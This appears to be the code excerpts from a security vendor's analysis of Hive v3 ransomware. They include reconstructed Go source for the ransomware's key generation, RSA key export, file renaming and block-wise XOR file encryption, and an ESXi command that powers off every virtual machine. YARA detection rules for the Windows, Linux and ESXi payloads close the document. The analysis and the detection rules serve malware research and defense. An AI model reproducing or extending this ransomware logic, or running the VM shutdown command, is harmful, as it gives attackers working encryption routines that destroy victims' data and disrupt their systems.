vim-cmd vmsvc/getallvms | grep -o -E '^[0-9]+' | xargs -r -n 1 vim-cmd vmsvc/power.off
// Key table structure
type EncryptionKeyTab struct {
Data []byte
Hash []byte
}
// HiveContext structure
type HiveContext struct {
KeyTab *EncryptionKeyTab
RansomExt string
RansomNoteName string
RansomNote string
FileSkipList string
SkipWipe bool
NumThreads int
CmdArgs []string
FileSkipRegexp *regexp.Regexp
SkipRegexp *regexp.Regexp
EncSkipRegexp *regexp.Regexp
ServiceStopList string
ProcessKillList string
GrantPermissions bool
ProcessKillRegexp *regexp.Regexp
ServiceStopRegexp *regexp.Regexp
}
// Hive main function
func (ctx *HiveContext) RunProcess() {
ctx.Init()
ctx.ExportKey()
ctx.Preprocess()
ctx.PreNotify()
ctx.ScanFiles()
ctx.EncryptFiles()
ctx.EraseKey()
ctx.Notify()
ctx.WipeSpace()
ctx.Postprocess()
}
// Hive initialization
func (ctx *HiveContext) Init() {
mathrand.Seed(time.Now().UnixNano())
// Generate key table
ctx.KeyTab = GenKeyTab()
// Etc
…
}
// Generate key table
func GenKeyTab() *EncryptionKeyTab {
data := make([]byte, 0x100000, 0x100000)
cryptorand.Read(data)
var keytab EncryptionKeyTab
keytab.Data = data
hash := sha512.Sum512_256(data)
keytab.Hash = hash[:]
return &keytab
}
// Export key table
func (ctx *HiveContext) ExportKey() {
// Import RSA public keys
pubkeys := ImportRSAPubKeys()
// Encrypt key table
enc_keytab := ctx.KeyTab.Export(pubkeys)
key_name_data := append(ctx.KeyTab.Hash, 0xFF)
key_name := base64.URLEncoding.EncodeToString(key_name_data)
key_filename := key_name + ".key." + ctx.RansomExt
// Save encrypted key table to file
…
}
// Import RSA public keys
func ImportRSAPubKeys() []*rsa.PublicKey {
var pubkeys []*rsa.PublicKey
for i := 0; i < len(RSAPubKeyDerDataList); i++ {
pubkey, _ := x509.ParsePKCS1PublicKey(RSAPubKeyDerDataList[i])
pubkeys = append(pubkeys, pubkey)
}
return pubkeys
}
// Encrypt key table
func (keytab *EncryptionKeyTab) Export(pubkeys []*rsa.PublicKey) []byte {
dst_data := make([]byte, 0, 0x200000)
pos := 0
rem_len := len(keytab.Data)
num_keys := len(pubkeys)
i := 0
for rem_len > 0 {
pubkey := pubkeys[i % num_keys]
chunk_size := pubkey.Size() - (2 * 32 + 2)
if chunk_size > rem_len {
chunk_size = rem_len
}
hash := sha512.New512_256()
rng := cryptorand.Reader
enc_chunk, _ := rsa.EncryptOAEP(hash, rng, pubkey,
keytab.Data[pos : pos + chunk_size],
nil)
dst_data = append(dst_data, enc_chunk...)
pos += chunk_size
rem_len -= chunk_size
i++
}
return dst_data
}
sb8SzAPVNWhK66-6cahq7Ah8gGmOJCykPSI5D07wFMH_.key.xxxxx
// Encrypt file
func (keytab *EncryptionKeyTab) EncryptFilename(filename string,
ransom_ext string) error {
n1 := mathrand.Uint32()
n2 := mathrand.Uint32()
var ext_data [42]byte
copy(ext_data[:32], keytab.Hash)
ext_data[32] = 0xFF
*(*uint32)(unsafe.Pointer(uintptr(unsafe.Pointer(&ext_data[33])))) = n1
*(*uint32)(unsafe.Pointer(uintptr(unsafe.Pointer(&ext_data[37])))) = n2
ext_data[41] = 0x34
file_ext := base64.URLEncoding.EncodeToString(ext_data[:])
new_filename := filename + "." + file_ext + "." + ransom_ext
err := os.Rename(filename, new_filename)
if err != nil {
return err
}
// Encrypt file data
return keytab.EvaluateFilename(new_filename, n1, n2)
}
mathrand.Seed(time.Now().UnixNano())
filename.ext.sb8SzAPVNWhK66-6cahq7Ah8gGmOJCykPSI5D07wFMH_0Xg0sk1aRdc0.xxxxx
// Encrypt file data
func (keytab *EncryptionKeyTab) EvaluateFilename(filename string,
n1 uint32,
n2 uint32) error {
f, err := os.OpenFile(filename, os.O_RDWR, 0600)
if err != nil {
return err
}
defer f.Close()
file_info, err := f.Stat()
if err != nil {
return err
}
file_size := file_info.Size()
var num_blocks int = int(30 * (file_size / 4096) / 100)
if file_size == 0 {
return nil
}
if file_size <= 4096 {
num_blocks = 1
} else if (num_blocks < 2) {
num_blocks = 2
} else {
if (num_blocks > 25) {
num_blocks = 25
}
}
key_data1_pos := n1 % 0xE7000
key_data1 := keytab.Data[key_data1_pos : key_data1_pos + 0x19000]
key_data2_pos := n2 % 0xFF400
key_data2 := keytab.Data[key_data2_pos : key_data2_pos + 0xC00]
var buf [4096]byte
var total_pos int = 0
var block_space int64
if num_blocks > 1 {
block_space = 0
} else {
block_space = (file_size - int64(num_blocks * 4096)) /
int64(num_blocks - 1)
}
for block_num := 1; block_num <= num_blocks; block_num++ {
var file_off int64
if block_num == 1 {
file_off = 0
} else if block_num == num_blocks {
if file_size > file_off + 4096 {
file_off = file_size - 4096
}
} else {
file_off += int64(block_space)
}
bytes_read, err := f.ReadAt(buf[:], file_off)
if (err != nil) && (err != io.EOF) {
return err
}
if bytes_read == 0 {
break
}
// Encrypt block
for i := 0; i < bytes_read; i++ {
pos := total_pos + i
buf[i] ^= key_data1[pos % 0x19000] ^ key_data2[pos % 0xC00]
}
_, err = f.WriteAt(buf[:bytes_read], file_off)
if err != nil {
return err
}
file_off += int64(bytes_read)
total_pos += bytes_read
}
return nil
}
/*
Hive ransomware
*/
rule Hive_v3
{
meta:
author = "Andrey Zhdanov"
company = "Group-IB"
family = "ransomware.hive"
description = "Hive v3 ransomware Windows/Linux/FreeBSD payload"
severity = 10
score = 100
strings:
$h0 = { B? 03 52 DA 8D [6-12] 69 ?? 00 70 0E 00 [14-20]
8D ?? 00 90 01 00 }
$h1 = { B? 37 48 60 80 [4-12] 69 ?? 00 F4 0F 00 [2-10]
8D ?? 00 0C 00 00 }
$h2 = { B? 3E 0A D7 A3 [2-6] C1 E? ( 0F | 2F 4?)
69 ?? 00 90 01 00 }
condition:
(((uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550)) or
(uint32(0) == 0x464C457F)) and
(
(2 of ($h*))
)
}
rule Hive_ESXi_v3
{
meta:
author = "Andrey Zhdanov"
company = "Group-IB"
family = "ransomware.hive.esxi"
description = "Hive v3 ransomware ESXI payload"
severity = 10
score = 100
strings:
$h0 = { 48 69 ?? B5 B4 1B 01 48 C1 E? 20 69 ?? 00 70 0E 00 29 ?? }
$h1 = { 48 69 ?? 25 30 40 00 48 C1 E? 20 69 ?? 00 F4 0F 00 29 ?? }
$a0 = "\\.(vm|vs)\\w+$\x00" ascii
$a1 = "vim-cmd vmsvc/getallvms | grep -o -E '^[0-9]+' | xargs -r -n 1 vim-cmd vmsvc/power.off" ascii
$b0 = "\x00%s.key.%s\x00" ascii
$b1 = "\x00! export %s" ascii
$b2 = "\x00+ export %s" ascii
$b3 = "HOW_TO_DECRYPT.txt\x00" ascii
$b4 = "\x00+notify /etc/motd\x00" ascii
$b5 = "\x00+notify %s" ascii
$b6 = "\x00+ prenotify %s" ascii
$b7 = "\x00Stopping VMs\x00" ascii
condition:
(uint32(0) == 0x464C457F) and
(
(2 of ($h*)) or
((1 of ($a*)) and (2 of ($b*)))
)
}